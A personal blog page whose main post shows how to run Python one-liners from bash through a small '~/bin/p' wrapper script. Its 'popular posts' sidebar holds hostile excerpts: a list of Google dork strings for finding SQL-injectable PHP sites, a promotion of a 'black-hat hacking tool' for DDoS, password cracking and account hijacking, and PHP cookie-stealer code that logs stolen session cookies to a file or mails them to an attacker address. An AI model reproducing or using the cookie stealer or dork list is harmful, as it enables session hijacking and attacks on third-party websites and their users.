Skip to main content

Run python commands from a bash shell

In this post I am going to show you how you can run python commands from inside a shell. There are already a few ways of doing so


  • Write your python code in a .py file and run "python yourfile.py"
  • Open up IDLE shell by just typing "python" and writing your command in that shell.
There is also another option of python command -

$ python -c 'your_command_here' 

which will run the python command you specify in quotes.

However, the problem with above mentioned methods is, they are time consuming. If you want to quickly perform a list comprehension or anything equivalent in python, you have to either write a script or manually open a python interactive terminal and write your command there.
I am going to show you a little tweak you can do in your shell to execute python code (or parts of it) directly from command line. It works as below -

$ p '<your_python_code_here>'

You type "p" followed by the python statement you want to execute in quotes. For example,

trivendra-MacBook-Pro: ~ $p "[x**2 for x in range(1,11)]" 
[1, 4, 9, 16, 25, 36, 49, 64, 81, 100]

Follow the steps below to add this tweak in your shell.
  • Open a terminal and go to your home directory.
  • Create a directory called bin (~/bin) and inside this directory, create a script called "p" (or you can give it any name you like)
  • Copy the following snippet in this script:
#!/bin/bash 

python -c "print $1"

  • Pretty straightforward. Give execute permissions to this script: 

$ chmod +x ~/bin/p

  • Now you need to add this little script to your PATH variable such that shell can find it. To make your shell be able to find this little command, edit the bashrc file (~/.bashrc) to add the following line :
export PATH=$PATH:~/bin
  • On some distributions, the name of .bashrc file might be different. (for example, on my Mac OS X, I had to edit .bash_profile file for these changes to take effect.)
  • After you have added above entry, you may need to restart the terminal.
  • Now that we have added this little tweak, type the following command to test it.

$p 2+3

This should show you the result i.e. 5. To run regular python commands, you need to enclose them in double quotes to prevent the shell from interpreting them.

$p "<your_python_command_here>"

Now you can try putting advanced python commands in there.
This little script "p" that we wrote doesn't actually support advanced python features which python interactive shell offers. You can modify this script to the following :

#!/bin/bash 

echo "import os; 

os.system(\"clear\") 


$1" > tempfile

python -i < tempfile

This is a little more sophisticated version of our script. It starts the python interactive shell, clears the screen (such that the initial version information that gets printed is wiped out), executes the command we passed in this interactive shell and exits.

This can be useful in that you can pass shell environment variables to python, manipulate them in python, and get the result back. For example,


trivendraMacBook-Pro: ~ $mongodbpath=/Users/trivendra/mongodb/mongodb-osx-x86_64-3.2.1/bin-

trivendra-MacBook-Pro: ~ $p "'$mongodbpath'.split('/')"
['', 'Users', 'trivendra', 'mongodb', 'mongodb-osx-x86_64-3.2.1', 'bin']

trivendra-MacBook-Pro: ~ $

I honestly don't have further idea about how this can be more useful or how it can be extended further :P If you can think of any improvements for this, please leave a comment below.

Comments

Post a Comment

Popular posts from this blog

Php And Google Dorks 2017

A Dork query, sometimes just referred to as a dork, is a search string that uses advanced search operators to find information that is not readily available on a website. Here is a list of dorks to find SQL injectable websites. Google Dorks trainers.php?id= article.php?ID= play_old.php?id= declaration_more.php?decl_id= Pageid= games.php?id= newsDetail.php?id= staff_id= historialeer.php?num= product-item.php?id= news_view.php?id= humor.php?id= communique_detail.php?id= sem.php3?id= opinions.php?id= spr.php?id= pages.php?id= chappies.php?id= prod_detail.php?id= viewphoto.php?id= view.php?id= website.php?id= hosting_info.php?id= gery.php?id= detail.php?ID= publications.php?id= Productinfo.php?id= releases.php?id= ray.php?id= produit.php?id= pop.php?id= shopping.php?id= productdetail.php?id= post.php?id= section.php?id= theme.php?id= page.php?id= shredder-categories.php?id= product_ranges_view.php?ID= shop_category.php?id= channel_id=...

Download Hacking tool and library for rookie

Hello guy's, In today's post i will be sharing with guy's some useful Black-hat Hacking tool which is very very useful for beginners in hacking, Have been using this tool for the past few month, its a nice tool .This Tool can be used to password cracker, DDOS tool, email scraper, web spider, website hacking.This wonderful tool was develop by  hackerlord. Description Black-hat hacking tool to easily hack website, scrape email, port scanner, crack FTP password, launch DDOS attack, mysql injection, easily hijack website, web spider, website vulnerability scanner and social engineering tool. Features hacking tool email scraper facebook account hacking tool social engineering FTP password cracker web spider tool DDOS tool port scanner vulnerability scanner gmail account hacking tool easily shut a website down easily read and write data into a website database Download

Create cookie stealer in PHP? get via email

<?php     $cookie = $HTTP_GET_VARS[“cookie”];     $steal = fopen(“cookiefile.txt”, “a”);     fwrite($steal, $cookie .”\n”);     fclose($steal);     ?> $cookie = $HTTP_GET_VARS[“cookie”]; steal the cookie from the current url(stealer.php?cookie=x)and store the cookies in $cookie variable. $steal = fopen(“cookiefile.txt”, “a”); This open the cookiefile in append mode so that we can append the stolen cookie. fwrite($steal, $cookie .”\n”); This will store the stolen cookie inside the file. fclose($steal); close the opened file. Another version: Sends cookies to the hacker mail     <?php     $cookie = $HTTP_GET_VARS[“cookie”]; mail(“hackerid@mailprovider.com”, “Stolen Cookies”, $cookie);     ?> The above code will mail the cookies to hacker mail using the PHP() mail function with subject “Stolen cookies”. Third Version <?php     function GetIP()   ...